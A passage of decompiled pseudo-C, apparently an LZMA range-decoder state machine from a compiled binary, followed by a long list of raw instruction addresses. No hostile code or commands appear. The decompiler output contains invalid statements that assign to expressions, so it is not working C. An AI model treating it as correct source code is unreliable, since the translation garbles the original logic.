                                                    							_v12 = _t537;
                                                    							if(_t537 == 0) {
                                                    								goto L174;
                                                    							} else {
                                                    								goto L22;
                                                    							}
                                                    						case 2:
                                                    							L26:
                                                    							_t557 = _v100 & _v32;
                                                    							_v136 = 6;
                                                    							_v80 = _t557;
                                                    							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
                                                    							goto L135;
                                                    						case 3:
                                                    							L23:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 3;
                                                    								goto L173;
                                                    							}
                                                    							_v112 = _v112 - 1;
                                                    							_t72 =  &_v116;
                                                    							 *_t72 = _v116 + 1;
                                                    							__eflags =  *_t72;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							L25:
                                                    							_v76 = _v76 - 1;
                                                    							__eflags = _v76;
                                                    							if(_v76 != 0) {
                                                    								goto L23;
                                                    							}
                                                    							goto L26;
                                                    						case 4:
                                                    							L136:
                                                    							_t559 =  *_t626;
                                                    							_t610 = _t559 & 0x0000ffff;
                                                    							_t591 = (_v20 >> 0xb) * _t610;
                                                    							__eflags = _v16 - _t591;
                                                    							if(_v16 >= _t591) {
                                                    								_v20 = _v20 - _t591;
                                                    								_v16 = _v16 - _t591;
                                                    								_v68 = 1;
                                                    								_t560 = _t559 - (_t559 >> 5);
                                                    								__eflags = _t560;
                                                    								 *_t626 = _t560;
                                                    							} else {
                                                    								_v20 = _t591;
                                                    								_v68 = _v68 & 0x00000000;
                                                    								 *_t626 = (0x800 - _t610 >> 5) + _t559;
                                                    							}
                                                    							__eflags = _v20 - 0x1000000;
                                                    							if(_v20 >= 0x1000000) {
                                                    								goto L142;
                                                    							} else {
                                                    								goto L140;
                                                    							}
                                                    						case 5:
                                                    							L140:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 5;
                                                    								goto L173;
                                                    							}
                                                    							_v20 = _v20 << 8;
                                                    							_v112 = _v112 - 1;
                                                    							_t464 =  &_v116;
                                                    							 *_t464 = _v116 + 1;
                                                    							__eflags =  *_t464;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							L142:
                                                    							_t561 = _v136;
                                                    							goto L143;
                                                    						case 6:
                                                    							__edx = 0;
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								__eax = _v8;
                                                    								__ecx = _v60;
                                                    								_v56 = 1;
                                                    								_v136 = 7;
                                                    								__esi = _v8 + 0x180 + _v60 * 2;
                                                    								goto L135;
                                                    							}
                                                    							__eax = _v96 & 0x000000ff;
                                                    							__esi = _v100;
                                                    							__cl = 8;
                                                    							__cl = 8 - _v64;
                                                    							__esi = _v100 & _v28;
                                                    							__eax = (_v96 & 0x000000ff) >> 8;
                                                    							__ecx = _v64;
                                                    							__esi = (_v100 & _v28) << 8;
                                                    							__ecx = _v8;
                                                    							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
                                                    							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
                                                    							__eflags = _v60 - 4;
                                                    							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                                    							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                                    							if(_v60 >= 4) {
                                                    								__eflags = _v60 - 0xa;
                                                    								if(_v60 >= 0xa) {
                                                    									_t103 =  &_v60;
                                                    									 *_t103 = _v60 - 6;
                                                    									__eflags =  *_t103;
                                                    								} else {
                                                    									_v60 = _v60 - 3;
                                                    								}
                                                    							} else {
                                                    								_v60 = 0;
                                                    							}
                                                    							__eflags = _v56 - __edx;
                                                    							if(_v56 == __edx) {
                                                    								__ebx = 0;
                                                    								__ebx = 1;
                                                    								goto L63;
                                                    							}
                                                    							__eax = _v24;
                                                    							__eax = _v24 - _v48;
                                                    							__eflags = __eax - _v120;
                                                    							if(__eax >= _v120) {
                                                    								__eax = __eax + _v120;
                                                    								__eflags = __eax;
                                                    							}
                                                    							__ecx = _v12;
                                                    							__ebx = 0;
                                                    							__ebx = 1;
                                                    							__al =  *((intOrPtr*)(__eax + __ecx));
                                                    							_v95 =  *((intOrPtr*)(__eax + __ecx));
                                                    							goto L43;
                                                    						case 7:
                                                    							__eflags = _v68 - 1;
                                                    							if(_v68 != 1) {
                                                    								__eax = _v40;
                                                    								_v132 = 0x16;
                                                    								_v36 = _v40;
                                                    								__eax = _v44;
                                                    								_v40 = _v44;
                                                    								__eax = _v48;
                                                    								_v44 = _v48;
                                                    								__eax = 0;
                                                    								__eflags = _v60 - 7;
                                                    								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    								__al = __al & 0x000000fd;
                                                    								__eax = (__eflags >= 0) - 1 + 0xa;
                                                    								_v60 = (__eflags >= 0) - 1 + 0xa;
                                                    								__eax = _v8;
                                                    								__eax = _v8 + 0x664;
                                                    								__eflags = __eax;
                                                    								_v92 = __eax;
                                                    								goto L71;
                                                    							}
                                                    							__eax = _v8;
                                                    							__ecx = _v60;
                                                    							_v136 = 8;
                                                    							__esi = _v8 + 0x198 + _v60 * 2;
                                                    							goto L135;
                                                    						case 8:
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								__eax = _v8;
                                                    								__ecx = _v60;
                                                    								_v136 = 0xa;
                                                    								__esi = _v8 + 0x1b0 + _v60 * 2;
                                                    							} else {
                                                    								__eax = _v60;
                                                    								__ecx = _v8;
                                                    								__eax = _v60 + 0xf;
                                                    								_v136 = 9;
                                                    								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
                                                    								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
                                                    							}
                                                    							goto L135;
                                                    						case 9:
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								goto L92;
                                                    							}
                                                    							__eflags = _v100;
                                                    							if(_v100 == 0) {
                                                    								goto L174;
                                                    							}
                                                    							__eax = 0;
                                                    							__eflags = _v60 - 7;
                                                    							_t264 = _v60 - 7 >= 0;
                                                    							__eflags = _t264;
                                                    							0 | _t264 = _t264 + _t264 + 9;
                                                    							_v60 = _t264 + _t264 + 9;
                                                    							goto L78;
                                                    						case 0xa:
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								__eax = _v8;
                                                    								__ecx = _v60;
                                                    								_v136 = 0xb;
                                                    								__esi = _v8 + 0x1c8 + _v60 * 2;
                                                    								goto L135;
                                                    							}
                                                    							__eax = _v44;
                                                    							goto L91;
                                                    						case 0xb:
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								__ecx = _v40;
                                                    								__eax = _v36;
                                                    								_v36 = _v40;
                                                    							} else {
                                                    								__eax = _v40;
                                                    							}
                                                    							__ecx = _v44;
                                                    							_v40 = _v44;
                                                    							L91:
                                                    							__ecx = _v48;
                                                    							_v48 = __eax;
                                                    							_v44 = _v48;
                                                    							L92:
                                                    							__eax = _v8;
                                                    							_v132 = 0x15;
                                                    							__eax = _v8 + 0xa68;
                                                    							_v92 = _v8 + 0xa68;
                                                    							goto L71;
                                                    						case 0xc:
                                                    							L102:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 0xc;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v116;
                                                    							__eax = _v16;
                                                    							_v20 = _v20 << 8;
                                                    							__ecx =  *_v116 & 0x000000ff;
                                                    							_v112 = _v112 - 1;
                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							_t340 =  &_v116;
                                                    							 *_t340 = _v116 + 1;
                                                    							__eflags =  *_t340;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							__eax = _v48;
                                                    							goto L104;
                                                    						case 0xd:
                                                    							L39:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 0xd;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v116;
                                                    							__eax = _v16;
                                                    							_v20 = _v20 << 8;
                                                    							__ecx =  *_v116 & 0x000000ff;
                                                    							_v112 = _v112 - 1;
                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							_t127 =  &_v116;
                                                    							 *_t127 = _v116 + 1;
                                                    							__eflags =  *_t127;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							L41:
                                                    							__eax = _v68;
                                                    							__eflags = _v76 - _v68;
                                                    							if(_v76 != _v68) {
                                                    								goto L50;
                                                    							}
                                                    							__eflags = __ebx - 0x100;
                                                    							if(__ebx >= 0x100) {
                                                    								goto L56;
                                                    							}
                                                    							L43:
                                                    							__eax = _v95 & 0x000000ff;
                                                    							_v95 = _v95 << 1;
                                                    							__ecx = _v92;
                                                    							__eax = (_v95 & 0x000000ff) >> 7;
                                                    							_v76 = __eax;
                                                    							__eax = __eax + 1;
                                                    							__eax = __eax << 8;
                                                    							__eax = __eax + __ebx;
                                                    							__esi = _v92 + __eax * 2;
                                                    							_v20 = _v20 >> 0xb;
                                                    							__ax =  *__esi;
                                                    							_v88 = __esi;
                                                    							__edx = __ax & 0x0000ffff;
                                                    							__ecx = (_v20 >> 0xb) * __edx;
                                                    							__eflags = _v16 - __ecx;
                                                    							if(_v16 >= __ecx) {
                                                    								_v20 = _v20 - __ecx;
                                                    								_v16 = _v16 - __ecx;
                                                    								__cx = __ax;
                                                    								_v68 = 1;
                                                    								__cx = __ax >> 5;
                                                    								__eflags = __eax;
                                                    								__ebx = __ebx + __ebx + 1;
                                                    								 *__esi = __ax;
                                                    							} else {
                                                    								_v68 = _v68 & 0x00000000;
                                                    								_v20 = __ecx;
                                                    								0x800 = 0x800 - __edx;
                                                    								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    								__ebx = __ebx + __ebx;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags = _v20 - 0x1000000;
                                                    							_v72 = __ebx;
                                                    							if(_v20 >= 0x1000000) {
                                                    								goto L41;
                                                    							} else {
                                                    								goto L39;
                                                    							}
                                                    						case 0xe:
                                                    							L48:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 0xe;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v116;
                                                    							__eax = _v16;
                                                    							_v20 = _v20 << 8;
                                                    							__ecx =  *_v116 & 0x000000ff;
                                                    							_v112 = _v112 - 1;
                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							_t161 =  &_v116;
                                                    							 *_t161 = _v116 + 1;
                                                    							__eflags =  *_t161;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							while(1) {
                                                    								L50:
                                                    								__eflags = __ebx - 0x100;
                                                    								if(__ebx >= 0x100) {
                                                    									break;
                                                    								}
                                                    								__eax = _v92;
                                                    								__edx = __ebx + __ebx;
                                                    								__ecx = _v20;
                                                    								__esi = __edx + __eax;
                                                    								__ecx = _v20 >> 0xb;
                                                    								__ax =  *__esi;
                                                    								_v88 = __esi;
                                                    								__edi = __ax & 0x0000ffff;
                                                    								__ecx = (_v20 >> 0xb) * __edi;
                                                    								__eflags = _v16 - __ecx;
                                                    								if(_v16 >= __ecx) {
                                                    									_v20 = _v20 - __ecx;
                                                    									_v16 = _v16 - __ecx;
                                                    									__cx = __ax;
                                                    									_t175 = __edx + 1; // 0x1
                                                    									__ebx = _t175;
                                                    									__cx = __ax >> 5;
                                                    									__eflags = __eax;
                                                    									 *__esi = __ax;
                                                    								} else {
                                                    									_v20 = __ecx;
                                                    									0x800 = 0x800 - __edi;
                                                    									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    									__ebx = __ebx + __ebx;
                                                    									 *__esi = __cx;
                                                    								}
                                                    								__eflags = _v20 - 0x1000000;
                                                    								_v72 = __ebx;
                                                    								if(_v20 >= 0x1000000) {
                                                    									continue;
                                                    								} else {
                                                    									goto L48;
                                                    								}
                                                    							}
                                                    							L56:
                                                    							_t178 =  &_v56;
                                                    							 *_t178 = _v56 & 0x00000000;
                                                    							__eflags =  *_t178;
                                                    							goto L57;
                                                    						case 0xf:
                                                    							L60:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 0xf;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v116;
                                                    							__eax = _v16;
                                                    							_v20 = _v20 << 8;
                                                    							__ecx =  *_v116 & 0x000000ff;
                                                    							_v112 = _v112 - 1;
                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							_t208 =  &_v116;
                                                    							 *_t208 = _v116 + 1;
                                                    							__eflags =  *_t208;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							L62:
                                                    							__eflags = __ebx - 0x100;
                                                    							if(__ebx >= 0x100) {
                                                    								L57:
                                                    								__al = _v72;
                                                    								_v96 = _v72;
                                                    								goto L58;
                                                    							}
                                                    							L63:
                                                    							__eax = _v92;
                                                    							__edx = __ebx + __ebx;
                                                    							__ecx = _v20;
                                                    							__esi = __edx + __eax;
                                                    							__ecx = _v20 >> 0xb;
                                                    							__ax =  *__esi;
                                                    							_v88 = __esi;
                                                    							__edi = __ax & 0x0000ffff;
                                                    							__ecx = (_v20 >> 0xb) * __edi;
                                                    							__eflags = _v16 - __ecx;
                                                    							if(_v16 >= __ecx) {
                                                    								_v20 = _v20 - __ecx;
                                                    								_v16 = _v16 - __ecx;
                                                    								__cx = __ax;
                                                    								_t222 = __edx + 1; // 0x1
                                                    								__ebx = _t222;
                                                    								__cx = __ax >> 5;
                                                    								__eflags = __eax;
                                                    								 *__esi = __ax;
                                                    							} else {
                                                    								_v20 = __ecx;
                                                    								0x800 = 0x800 - __edi;
                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    								__ebx = __ebx + __ebx;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags = _v20 - 0x1000000;
                                                    							_v72 = __ebx;
                                                    							if(_v20 >= 0x1000000) {
                                                    								goto L62;
                                                    							} else {
                                                    								goto L60;
                                                    							}
                                                    						case 0x10:
                                                    							L112:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 0x10;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v116;
                                                    							__eax = _v16;
                                                    							_v20 = _v20 << 8;
                                                    							__ecx =  *_v116 & 0x000000ff;
                                                    							_v112 = _v112 - 1;
                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							_t371 =  &_v116;
                                                    							 *_t371 = _v116 + 1;
                                                    							__eflags =  *_t371;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							goto L114;
                                                    						case 0x11:
                                                    							L71:
                                                    							__esi = _v92;
                                                    							_v136 = 0x12;
                                                    							goto L135;
                                                    						case 0x12:
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								__eax = _v92;
                                                    								_v136 = 0x13;
                                                    								__esi = _v92 + 2;
                                                    								L135:
                                                    								_v88 = _t626;
                                                    								goto L136;
                                                    							}
                                                    							__eax = _v80;
                                                    							_v52 = _v52 & 0x00000000;
                                                    							__ecx = _v92;
                                                    							__eax = _v80 << 4;
                                                    							__eflags = __eax;
                                                    							__eax = _v92 + __eax + 4;
                                                    							goto L133;
                                                    						case 0x13:
                                                    							__eflags = _v68;
                                                    							if(_v68 != 0) {
                                                    								_t475 =  &_v92;
                                                    								 *_t475 = _v92 + 0x204;
                                                    								__eflags =  *_t475;
                                                    								_v52 = 0x10;
                                                    								_v68 = 8;
                                                    								L147:
                                                    								_v128 = 0x14;
                                                    								goto L148;
                                                    							}
                                                    							__eax = _v80;
                                                    							__ecx = _v92;
                                                    							__eax = _v80 << 4;
                                                    							_v52 = 8;
                                                    							__eax = _v92 + (_v80 << 4) + 0x104;
                                                    							L133:
                                                    							_v92 = __eax;
                                                    							_v68 = 3;
                                                    							goto L147;
                                                    						case 0x14:
                                                    							_v52 = _v52 + __ebx;
                                                    							__eax = _v132;
                                                    							goto L143;
                                                    						case 0x15:
                                                    							__eax = 0;
                                                    							__eflags = _v60 - 7;
                                                    							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    							__al = __al & 0x000000fd;
                                                    							__eax = (__eflags >= 0) - 1 + 0xb;
                                                    							_v60 = (__eflags >= 0) - 1 + 0xb;
                                                    							goto L123;
                                                    						case 0x16:
                                                    							__eax = _v52;
                                                    							__eflags = __eax - 4;
                                                    							if(__eax >= 4) {
                                                    								_push(3);
                                                    								_pop(__eax);
                                                    							}
                                                    							__ecx = _v8;
                                                    							_v68 = 6;
                                                    							__eax = __eax << 7;
                                                    							_v128 = 0x19;
                                                    							_v92 = __eax;
                                                    							goto L148;
                                                    						case 0x17:
                                                    							L148:
                                                    							__eax = _v68;
                                                    							_v84 = 1;
                                                    							_v76 = _v68;
                                                    							goto L152;
                                                    						case 0x18:
                                                    							L149:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 0x18;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v116;
                                                    							__eax = _v16;
                                                    							_v20 = _v20 << 8;
                                                    							__ecx =  *_v116 & 0x000000ff;
                                                    							_v112 = _v112 - 1;
                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							_t490 =  &_v116;
                                                    							 *_t490 = _v116 + 1;
                                                    							__eflags =  *_t490;
                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                    							L151:
                                                    							_t493 =  &_v76;
                                                    							 *_t493 = _v76 - 1;
                                                    							__eflags =  *_t493;
                                                    							L152:
                                                    							__eflags = _v76;
                                                    							if(_v76 <= 0) {
                                                    								__ecx = _v68;
                                                    								__ebx = _v84;
                                                    								0 = 1;
                                                    								__eax = 1 << __cl;
                                                    								__ebx = _v84 - (1 << __cl);
                                                    								__eax = _v128;
                                                    								_v72 = __ebx;
                                                    								L143:
                                                    								_v140 = _t561;
                                                    								goto L3;
                                                    							}
                                                    							__eax = _v84;
                                                    							_v20 = _v20 >> 0xb;
                                                    							__edx = _v84 + _v84;
                                                    							__eax = _v92;
                                                    							__esi = __edx + __eax;
                                                    							_v88 = __esi;
                                                    							__ax =  *__esi;
                                                    							__edi = __ax & 0x0000ffff;
                                                    							__ecx = (_v20 >> 0xb) * __edi;
                                                    							__eflags = _v16 - __ecx;
                                                    							if(_v16 >= __ecx) {
                                                    								_v20 = _v20 - __ecx;
                                                    								_v16 = _v16 - __ecx;
                                                    								__cx = __ax;
                                                    								__cx = __ax >> 5;
                                                    								__eax = __eax - __ecx;
                                                    								__edx = __edx + 1;
                                                    								__eflags = __edx;
                                                    								 *__esi = __ax;
                                                    								_v84 = __edx;
                                                    							} else {
                                                    								_v20 = __ecx;
                                                    								0x800 = 0x800 - __edi;
                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    								_v84 = _v84 << 1;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags = _v20 - 0x1000000;
                                                    							if(_v20 >= 0x1000000) {
                                                    								goto L151;
                                                    							} else {
                                                    								goto L149;
                                                    							}
                                                    						case 0x19:
                                                    							__eflags = __ebx - 4;
                                                    							if(__ebx < 4) {
                                                    								_v48 = __ebx;
                                                    								L122:
                                                    								_t399 =  &_v48;
                                                    								 *_t399 = _v48 + 1;
                                                    								__eflags =  *_t399;
                                                    								L123:
                                                    								__eax = _v48;
                                                    								__eflags = __eax;
                                                    								if(__eax == 0) {
                                                    									_v52 = _v52 | 0xffffffff;
                                                    									goto L173;
                                                    								}
                                                    								__eflags = __eax - _v100;
                                                    								if(__eax > _v100) {
                                                    									goto L174;
                                                    								}
                                                    								_v52 = _v52 + 2;
                                                    								__eax = _v52;
                                                    								_t406 =  &_v100;
                                                    								 *_t406 = _v100 + _v52;
                                                    								__eflags =  *_t406;
                                                    								goto L126;
                                                    							}
                                                    							__ecx = __ebx;
                                                    							__eax = __ebx;
                                                    							__ecx = __ebx >> 1;
                                                    							__eax = __ebx & 0x00000001;
                                                    							__ecx = (__ebx >> 1) - 1;
                                                    							__al = __al | 0x00000002;
                                                    							__eax = (__ebx & 0x00000001) << __cl;
                                                    							__eflags = __ebx - 0xe;
                                                    							_v48 = __eax;
                                                    							if(__ebx >= 0xe) {
                                                    								__ebx = 0;
                                                    								_v76 = __ecx;
                                                    								L105:
                                                    								__eflags = _v76;
                                                    								if(_v76 <= 0) {
                                                    									__eax = __eax + __ebx;
                                                    									_v68 = 4;
                                                    									_v48 = __eax;
                                                    									__eax = _v8;
                                                    									__eax = _v8 + 0x644;
                                                    									__eflags = __eax;
                                                    									L111:
                                                    									__ebx = 0;
                                                    									_v92 = __eax;
                                                    									_v84 = 1;
                                                    									_v72 = 0;
                                                    									_v76 = 0;
                                                    									L115:
                                                    									__eax = _v68;
                                                    									__eflags = _v76 - _v68;
                                                    									if(_v76 >= _v68) {
                                                    										_t397 =  &_v48;
                                                    										 *_t397 = _v48 + __ebx;
                                                    										__eflags =  *_t397;
                                                    										goto L122;
                                                    									}
                                                    									__eax = _v84;
                                                    									_v20 = _v20 >> 0xb;
                                                    									__edi = _v84 + _v84;
                                                    									__eax = _v92;
                                                    									__esi = __edi + __eax;
                                                    									_v88 = __esi;
                                                    									__ax =  *__esi;
                                                    									__ecx = __ax & 0x0000ffff;
                                                    									__edx = (_v20 >> 0xb) * __ecx;
                                                    									__eflags = _v16 - __edx;
                                                    									if(_v16 >= __edx) {
                                                    										__ecx = 0;
                                                    										_v20 = _v20 - __edx;
                                                    										__ecx = 1;
                                                    										_v16 = _v16 - __edx;
                                                    										__ebx = 1;
                                                    										__ecx = _v76;
                                                    										__ebx = 1 << __cl;
                                                    										__ecx = 1 << __cl;
                                                    										__ebx = _v72;
                                                    										__ebx = _v72 | __ecx;
                                                    										__cx = __ax;
                                                    										__cx = __ax >> 5;
                                                    										__eax = __eax - __ecx;
                                                    										__edi = __edi + 1;
                                                    										__eflags = __edi;
                                                    										_v72 = __ebx;
                                                    										 *__esi = __ax;
                                                    										_v84 = __edi;
                                                    									} else {
                                                    										_v20 = __edx;
                                                    										0x800 = 0x800 - __ecx;
                                                    										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    										_v84 = _v84 << 1;
                                                    										 *__esi = __dx;
                                                    									}
                                                    									__eflags = _v20 - 0x1000000;
                                                    									if(_v20 >= 0x1000000) {
                                                    										L114:
                                                    										_t374 =  &_v76;
                                                    										 *_t374 = _v76 + 1;
                                                    										__eflags =  *_t374;
                                                    										goto L115;
                                                    									} else {
                                                    										goto L112;
                                                    									}
                                                    								}
                                                    								__ecx = _v16;
                                                    								__ebx = __ebx + __ebx;
                                                    								_v20 = _v20 >> 1;
                                                    								__eflags = _v16 - _v20;
                                                    								_v72 = __ebx;
                                                    								if(_v16 >= _v20) {
                                                    									__ecx = _v20;
                                                    									_v16 = _v16 - _v20;
                                                    									__ebx = __ebx | 0x00000001;
                                                    									__eflags = __ebx;
                                                    									_v72 = __ebx;
                                                    								}
                                                    								__eflags = _v20 - 0x1000000;
                                                    								if(_v20 >= 0x1000000) {
                                                    									L104:
                                                    									_t344 =  &_v76;
                                                    									 *_t344 = _v76 - 1;
                                                    									__eflags =  *_t344;
                                                    									goto L105;
                                                    								} else {
                                                    									goto L102;
                                                    								}
                                                    							}
                                                    							__edx = _v8;
                                                    							__eax = __eax - __ebx;
                                                    							_v68 = __ecx;
                                                    							__eax = _v8 + 0x55e + __eax * 2;
                                                    							goto L111;
                                                    						case 0x1a:
                                                    							L58:
                                                    							__eflags = _v104;
                                                    							if(_v104 == 0) {
                                                    								_v140 = 0x1a;
                                                    								goto L173;
                                                    							}
                                                    							__ecx = _v108;
                                                    							__al = _v96;
                                                    							__edx = _v12;
                                                    							_v100 = _v100 + 1;
                                                    							_v108 = _v108 + 1;
                                                    							_v104 = _v104 - 1;
                                                    							 *_v108 = __al;
                                                    							__ecx = _v24;
                                                    							 *(_v12 + __ecx) = __al;
                                                    							__eax = __ecx + 1;
                                                    							__edx = 0;
                                                    							_t197 = __eax % _v120;
                                                    							__eax = __eax / _v120;
                                                    							__edx = _t197;
                                                    							goto L82;
                                                    						case 0x1b:
                                                    							L78:
                                                    							__eflags = _v104;
                                                    							if(_v104 == 0) {
                                                    								_v140 = 0x1b;
                                                    								goto L173;
                                                    							}
                                                    							__eax = _v24;
                                                    							__eax = _v24 - _v48;
                                                    							__eflags = __eax - _v120;
                                                    							if(__eax >= _v120) {
                                                    								__eax = __eax + _v120;
                                                    								__eflags = __eax;
                                                    							}
                                                    							__edx = _v12;
                                                    							__cl =  *(__edx + __eax);
                                                    							__eax = _v24;
                                                    							_v96 = __cl;
                                                    							 *(__edx + __eax) = __cl;
                                                    							__eax = __eax + 1;
                                                    							__edx = 0;
                                                    							_t280 = __eax % _v120;
                                                    							__eax = __eax / _v120;
                                                    							__edx = _t280;
                                                    							__eax = _v108;
                                                    							_v100 = _v100 + 1;
                                                    							_v108 = _v108 + 1;
                                                    							_t289 =  &_v104;
                                                    							 *_t289 = _v104 - 1;
                                                    							__eflags =  *_t289;
                                                    							 *_v108 = __cl;
                                                    							L82:
                                                    							_v24 = __edx;
                                                    							goto L83;
                                                    						case 0x1c:
                                                    							while(1) {
                                                    								L126:
                                                    								__eflags = _v104;
                                                    								if(_v104 == 0) {
                                                    									break;
                                                    								}
                                                    								__eax = _v24;
                                                    								__eax = _v24 - _v48;
                                                    								__eflags = __eax - _v120;
                                                    								if(__eax >= _v120) {
                                                    									__eax = __eax + _v120;
                                                    									__eflags = __eax;
                                                    								}
                                                    								__edx = _v12;
                                                    								__cl =  *(__edx + __eax);
                                                    								__eax = _v24;
                                                    								_v96 = __cl;
                                                    								 *(__edx + __eax) = __cl;
                                                    								__eax = __eax + 1;
                                                    								__edx = 0;
                                                    								_t420 = __eax % _v120;
                                                    								__eax = __eax / _v120;
                                                    								__edx = _t420;
                                                    								__eax = _v108;
                                                    								_v108 = _v108 + 1;
                                                    								_v104 = _v104 - 1;
                                                    								_v52 = _v52 - 1;
                                                    								__eflags = _v52;
                                                    								 *_v108 = __cl;
                                                    								_v24 = _t420;
                                                    								if(_v52 > 0) {
                                                    									continue;
                                                    								} else {
                                                    									L83:
                                                    									_v140 = 2;
                                                    									goto L3;
                                                    								}
                                                    							}
                                                    							_v140 = 0x1c;
                                                    							L173:
                                                    							_push(0x22);
                                                    							_pop(_t574);
                                                    							memcpy(_v148,  &_v140, _t574 << 2);
                                                    							return 0;
                                                    					}
                                                    				}
                                                    				L174:
                                                    				_t538 = _t537 | 0xffffffff;
                                                    				return _t538;
                                                    			}










































                                                    0x00406bc0
                                                    0x00406bc7
                                                    0x00406bcd
                                                    0x00406bd3
                                                    0x00000000
                                                    0x00406bd7
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bf9
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c0e
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c59
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c5e
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c76
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406ccd
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd2
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cef
